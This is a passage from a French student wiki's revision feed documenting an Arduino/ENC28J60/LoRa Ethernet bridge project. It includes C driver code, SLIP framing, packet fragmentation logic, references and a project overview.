      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|manipulation]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump+ping]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|minicom]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
Rapport intermédiaire&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;br /&gt;
&lt;br /&gt;
Rapport final&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_PFE19_CHEN_NDUWAYO.pdf]]&lt;br /&gt;
&lt;br /&gt;
=Programme du projet=&lt;br /&gt;
[[Fichier:Bridge.zip]]&lt;br /&gt;
&lt;br /&gt;
=Vidéo demonstration du projet=&lt;br /&gt;
&lt;br /&gt;
[[Media:test.mp4]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39619</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39619"/>
				<updated>2017-02-26T13:12:20Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Vidéo demonstration du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
